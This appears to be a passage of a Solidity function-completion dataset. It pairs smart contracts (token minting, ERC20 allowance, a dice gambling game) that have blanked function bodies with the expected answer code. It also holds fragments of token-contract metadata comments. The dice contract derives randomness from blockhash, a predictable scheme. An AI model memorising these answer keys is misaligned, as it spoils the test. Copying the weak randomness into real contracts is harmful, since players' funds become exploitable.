0x000000000000000000000000000000000000000000000000001C12D1B1E2BBED > // < RUSS_PFXXIV_II_metadata_line_17_____AVERS_DAO_20231101 > // < 47f9DFtZreMqCh4l7N0ITIMvteF7I3So8rm22qCpv3m2Fq9mD4Y3HtO1g9DV084F > // < u =="0.000000000000000001" : ] 000000316364607.375739000000000000 ; 000000334719915.326089000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001E2BBED1FEBDF8 > // < RUSS_PFXXIV_II_metadata_line_18_____AVERS_DAOPI_20231101 > // < L5F05N59Ocn1ZIuvfG86r9lNzjynz95OE23f39OAVO7K8x1C3yhex7q22Xb6M4pd > // < u =="0.000000000000000001" : ] 000000334719915.326089000000000000 ; 000000354918755.561358000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001FEBDF821D9024 > // < RUSS_PFXXIV_II_metadata_line_19_____AVERS_DAC_20231101 > // < cveep350z7x88W944CSlT2BYx95DVycH0421ek1B0IAsU1TVoT9YJNRtO9E6gpg6 > // < u =="0.000000000000000001" : ] 000000354918755.561358000000000000 ; 000000372292478.536944000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000021D902423812C0 > // < RUSS_PFXXIV_II_metadata_line_20_____AVERS_BIMI_20231101 > // < W1UrK91iJeM0xhKCNzZ2WG4xL0VFOb416DSkAOeUjjmM281YQ5zZ21D4105h7f88 > // < u =="0.000000000000000001" : ] 000000372292478.536944000000000000 ; 000000391535625.832875000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000023812C02556F9B > // Programme d'émission - Lignes 21 à 30 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXXIV_II_metadata_line_21_____ALFASTRAKHOVANIE_PLC_20231101 > // < vpuV7Y7GIioBPajBzTS5ie3W9E6o0f3OS3O59ZG1lbJJ22X2wWaLDZFGMbly6652 > // < u =="0.000000000000000001" : ] 000000391535625.832875000000000000 ; 000000413732501.131512000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002556F9B2774E42 > // < RUSS_PFXXIV_II_metadata_line_22_____ALFASTRA_DAO_20231101 > // < 008X74owq53Nox4PAS1ufxF5V898fj90vOaX8tqqHA1E30pJOVA0R6YQ986fVkFr > // < u =="0.000000000000000001" : ] 000000413732501.131512000000000000 ; 000000435565289.492534000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002774E422989EB1 > // < RUSS_PFXXIV_II_metadata_line_23_____ALFASTRA_DAOPI_20231101 > // < t7uxMwtHmnJVGkr8IciuUU0pVQ7yZ7A7m4xgUVDs2420fmn0x6xVO7LrlG00NxM5 > // < u =="0.000000000000000001" : ] 000000435565289.492534000000000000 ; 000000458750398.098953000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002989EB12BBFF60 > // < RUSS_PFXXIV_II_metadata_line_24_____ALFASTRA_DAC_20231101 > // < z9qEUe1V7aC7Jf4C8m49lG1T3gyYV84zg4dJA582yPIturZGOZDKi0763hGTzFCV > // < u =="0.000000000000000001" : ] 000000458750398.098953000000000000 ; 000000477870797.617751000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002BBFF602D92C48 > // < RUSS_PFXXIV_II_metadata_line_25_____ALFASTRA_BIMI_20231101 > // < MXSrqJAEIjH9yudwmEuy6gW18PP4B8Dh796JZc4bN8b6Pt65C4101688pY80zR35 > // < u =="0.000000000000000001" : ] 000000477870797.617751000000000000 ; 000000496481679.660000000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002D92C482F59228 > // < RUSS_PFXXIV_II_metadata_line_26_____MEDITSINSKAYA_STRAKHOVAYA_KOMP_VIRMED_20231101 > // < jTNBOSWx4IydHeG40Iw27mvwx7UbqOtFFv01uQI4wr94f9a4P7ncAsZ2hpX5Io68 > // < u =="0.000000000000000001" : ] 000000496481679.660000000000000000 ; 000000517178310.921082000000000000 ] > // < 0x000000000000000000000000000000000000000000000000002F5922831526C7 > // < RUSS_PFXXIV_II_metadata_line_27_____VIRMED_DAO_20231101 > // < 66S5oDc0H633XBZ3Z64oR24ShGKv8yP8sPO1kFa6fUMzXsarblVRl3XRW4Vqj17E > // < u =="0.000000000000000001" : ] 000000517178310.921082000000000000 ; 000000540706971.570198000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000031526C73390DA9 > // < RUSS_PFXXIV_II_metadata_line_28_____VIRMED_DAOPI_20231101 > // < Qo7xNgUb8NB0lphiH6HW7c9ykAb6E83WZ7HOl3iTzU2S56Inpx5we8pxa0K3N1q1 > // < u =="0.000000000000000001" : ] 000000540706971.570198000000000000 ; 000000565496131.143225000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003390DA935EE0ED > // < RUSS_PFXXIV_II_metadata_line_29_____VIRMED_DAC_20231101 > // < eS3K0QY86NGg42Z0G1Kw9NihRp4RVjTg88LV2bm6KpAsNxtVJQZRBZs676l9B0dw > // < u =="0.000000000000000001" : ] 000000565496131.143225000000000000 ; 000000582945235.705385000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000035EE0ED37980FC > // < RUSS_PFXXIV_II_metadata_line_30_____VIRMED_BIMI_20231101 > // < Vn8ecaGwWW6NF7S8ec4GE9yWI2QLFd6Fg8a0gW1CJYNr3c9ilsL9jpvf8OH81wy9 > // < u =="0.000000000000000001" : ] 000000582945235.705385000000000000 ; 000000600788952.074354000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000037980FC394BB2F > // Programme d'émission - Lignes 31 à 40 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RUSS_PFXXIV_II_metadata_line_31_____MSK_ASSTRA_20231101 > // < B4V00YiMano5S4fL9PUHq66D76010iwyFF9y9Lg30L7I2Q8e340g6pRuWj8sT70r > // < u =="0.000000000000000001" : ] 000000600788952.074354000000000000 ; 000000623817336.095239000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000394BB2F3B7DEA6 > // < RUSS_PFXXIV_II_metadata_line_32_____ASSTRA_DAO_20231101 > // < 70B1SHXgEjyfvu20rAL0l9iaSUQv4222YRiHSUu1fAUbCC8iUjOG7PYeba8mA7V4 > // < u =="0.000000000000000001" : ] 000000623817336.095239000000000000 ; 000000644171965.656131000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003B7DEA63D6EDAD > // < RUSS_PFXXIV_II_metadata_line_33_____ASSTRA_DAOPI_20231101 > // < kbfK67fwPp641z8CiXoZNbv63WcBb16MC99O63u5r3mo0IJIiZWN4ZW3or29iB5O > // < u =="0.000000000000000001" : ] 000000644171965.656131000000000000 ; 000000661997972.263010000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003D6EDAD3F220F5 > // < RUSS_PFXXIV_II_metadata_line_34_____ASSTRA_DAC_20231101 > // < kk3lV243T1X31Pg9oJvOCIj6l1M9UU3c22m2qd7cnS0xm160QXzVb3NmX1I79K1j > // < u =="0.000000000000000001" : ] 000000661997972.263010000000000000 ; 000000678217639.871391000000000000 ] > // < 0x000000000000000000000000000000000000000000000000003F220F540AE0C4 > // < RUSS_PFXXIV_II_metadata_line_35_____ASSTRA_BIMI_20231101 > // < jzU5D4YPi7SWZd7VWk8GpOl4ZAUhgZrz7kGihCC56A7e1GQDIwqyuC1c1dKU5VL4 > // < u =="0.000000000000000001" : ] 000000678217639.871391000000000000 ; 000000695954696.364195000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000040AE0C4425F14E > // < RUSS_PFXXIV_II_metadata_line_36_____AVICOS_AFES_INSURANCE_GROUP_20231101 > // < ao85q7Mz3e6w0FBtKSR0QheX96QHYN2CjC4P51IPlHW2ZD12eT67InZsmo5305Vc > // < u =="0.000000000000000001" : ] 000000695954696.364195000000000000 ; 000000712165778.600852000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000425F14E43EADC2 > // < RUSS_PFXXIV_II_metadata_line_37_____AVICOS_DAO_20231101 > // < Pq1gIGk9JIn5Vr7FzirC1EaSj1ha9a8h3nLQL5svkT7ViAqW4mom6yO1Y767Cn60 > // < u =="0.000000000000000001" : ] 000000712165778.600852000000000000 ; 000000735779088.336977000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000043EADC2462B5B5 > // < RUSS_PFXXIV_II_metadata_line_38_____AVICOS_DAOPI_20231101 > // < 5Y7qH2uxndT3248TB7d940uOYxSiY4rh21sqt5okSDRxGDRmglhb38620lSfu55h > // < u =="0.000000000000000001" : ] 000000735779088.336977000000000000 ; 000000755794716.555455000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000462B5B54814050 > // < RUSS_PFXXIV_II_metadata_line_39_____AVICOS_DAC_20231101 > // < mY4mKFI62v1M0BF0Z62GW958074189Zurog5e65W474fIFd7F34mCbJbL6423sHQ > // < u =="0.000000000000000001" : ] 000000755794716.555455000000000000 ; 000000772732021.282954000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000481405049B1872 > // < RUSS_PFXXIV_II_metadata_line_40_____AVICOS_BIMI_20231101 > // < 0SnAnD5oz91x46C9m6jNxc2WYBLFjCLl0222wED82oMYbHh1q3qFOWwh453pxRF1 > // < u =="0.000000000000000001" : ] 000000772732021.282954000000000000 ; 000000792519793.159009000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000049B18724B94A0B > }
allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true;
function approve(address spender, uint256 value) public returns (bool success)
function approve(address spender, uint256 value) public returns (bool success)
91403
MintableToken
mint
contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } }
contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } <FILL_FUNCTION> /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } }
totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true;
function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool)
/** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool)
15857
ERC20
allowance
contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) {<FILL_FUNCTION_BODY> } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } <FILL_FUNCTION> /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
return _allowances[owner][spender];
function allowance(address owner, address spender) public view virtual override returns (uint256)
/** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256)
43475
DSG_Dice
getDice
contract DSG_Dice{ using SafeMath for uint256; address constant public DSG_ADDRESS = 0x696826C18A6Bc9Be4BBfe3c3A6BB9f5a69388687; uint256 public totalDividends; uint256 public totalWinnings; uint256 public totalTurnover; uint256 public totalPlayed; uint256 public maxBet; uint256 public minBet; uint256 public minContractBalance; uint256 public minBetForJackpot; uint256 public jackpotBalance; uint256 public nextPayout; uint256 public ownerDeposit; address[2] public owners; address[2] public candidates; bool public paused; mapping (address => Bet) private usersBets; struct Bet { uint blockNumber; uint bet; bool[6] dice; } modifier onlyOwners(){ require(msg.sender == owners[0] || msg.sender == owners[1]); _; } modifier onlyUsers(){ require(tx.origin == msg.sender); _; } modifier checkBlockNumber(){ uint256 blockNumber = usersBets[msg.sender].blockNumber; if(block.number.sub(blockNumber) >= 250 && blockNumber > 0){ emit Result(msg.sender, 601, 0, jackpotBalance, usersBets[msg.sender].bet, usersBets[msg.sender].dice, 0); delete usersBets[msg.sender]; } else{ _; } } constructor(address secondOwner) public payable{ owners[0] = msg.sender; owners[1] = secondOwner; ownerDeposit = msg.value; jackpotBalance = jackpotBalance.add(ownerDeposit.div(1000)); } function play(bool dice1, bool dice2, bool dice3, bool dice4, bool dice5, bool dice6) public payable checkBlockNumber onlyUsers{ uint256 bet = msg.value; bool[6] memory dice = [dice1, dice2, dice3, dice4, dice5, dice6]; require(getXRate(dice) != 0, "Sides of dice is incorrect"); require(checkSolvency(bet), "Not enough ETH in contract"); require(paused == false, "Game was stopped"); require(bet >= minBet && bet <= maxBet, "Amount should be within range"); require(usersBets[msg.sender].bet == 0, "You have already bet"); usersBets[msg.sender].bet = bet; usersBets[msg.sender].blockNumber = block.number; usersBets[msg.sender].dice = dice; totalTurnover = totalTurnover.add(bet); totalPlayed = totalPlayed.add(1); emit PlaceBet(msg.sender, bet, dice, now); } function result() public checkBlockNumber onlyUsers{ require(blockhash(usersBets[msg.sender].blockNumber) != 0, "Your time to determine the result has come out or not yet come"); uint256 r = _random(601); bool[6] memory dice = usersBets[msg.sender].dice; uint256 bet = usersBets[msg.sender].bet; uint256 rate = getXRate(dice); uint256 totalWinAmount; if(getDice(r) == 1 && dice[0] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 2 && dice[1] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 3 && dice[2] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 4 && dice[3] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 5 && dice[4] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 6 && dice[5] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } if(bet >= minBetForJackpot && r == 0 && jackpotBalance > 0){ totalWinAmount = totalWinAmount.add(jackpotBalance).add(bet); emit Jackpot(msg.sender, jackpotBalance, now); delete jackpotBalance; } if(totalWinAmount > 0){ msg.sender.transfer(totalWinAmount); totalWinnings = totalWinnings.add(totalWinAmount); } jackpotBalance = jackpotBalance.add(bet.div(1000)); delete usersBets[msg.sender]; emit Result(msg.sender, r, totalWinAmount, jackpotBalance, bet, dice, rate); } function getXRate(bool[6] dice) public pure returns(uint){ uint sum; for(uint i = 0; i < dice.length; i++){ if(dice[i] == true) sum = sum.add(1); } if(sum == 1) return 500; if(sum == 2) return 250; if(sum == 3) return 180; if(sum == 4) return 135; if(sum == 5) return 110; if(sum == 6 || sum == 0) return 0; } function getDice(uint r) private pure returns (uint){<FILL_FUNCTION_BODY> } function checkSolvency(uint bet) view public returns(bool){ if(getContractBalance() > bet.add(bet.mul(500).div(100)).add(jackpotBalance)) return true; else return false; } function sendDividends() public { require(getContractBalance() > minContractBalance && now > nextPayout, "You cannot send dividends"); DSG DSG0 = DSG(DSG_ADDRESS); uint256 balance = getContractBalance(); uint256 dividends = balance.sub(minContractBalance); nextPayout = now.add(7 days); totalDividends = totalDividends.add(dividends); DSG0.gamingDividendsReception.value(dividends)(); emit Dividends(balance, dividends, now); } function getContractBalance() public view returns (uint256){ return address(this).balance; } function _random(uint256 max) private view returns(uint256){ bytes32 hash = blockhash(usersBets[msg.sender].blockNumber); return uint256(keccak256(abi.encode(hash, msg.sender))) % max; } function deposit() public payable onlyOwners{ ownerDeposit = ownerDeposit.add(msg.value); } function sendOwnerDeposit(address recipient) public onlyOwners{ require(paused == true, 'Game was not stopped'); uint256 contractBalance = getContractBalance(); if(contractBalance >= ownerDeposit){ recipient.transfer(ownerDeposit); } else{ recipient.transfer(contractBalance); } delete jackpotBalance; delete ownerDeposit; } function pauseGame(bool option) public onlyOwners{ paused = option; } function setMinBet(uint256 eth) public onlyOwners{ minBet = eth; } function setMaxBet(uint256 eth) public onlyOwners{ maxBet = eth; } function setMinBetForJackpot(uint256 eth) public onlyOwners{ minBetForJackpot = eth; } function setMinContractBalance(uint256 eth) public onlyOwners{ minContractBalance = eth; } function transferOwnership(address newOwnerAddress, uint8 k) public onlyOwners{ candidates[k] = newOwnerAddress; } function confirmOwner(uint8 k) public{ require(msg.sender == candidates[k]); owners[k] = candidates[k]; } event Dividends( uint256 balance, uint256 dividends, uint256 timestamp ); event Jackpot( address indexed player, uint256 jackpot, uint256 timestamp ); event PlaceBet( address indexed player, uint256 bet, bool[6] dice, uint256 timestamp ); event Result( address indexed player, uint256 indexed random, uint256 totalWinAmount, uint256 jackpotBalance, uint256 bet, bool[6] dice, uint256 winRate ); }
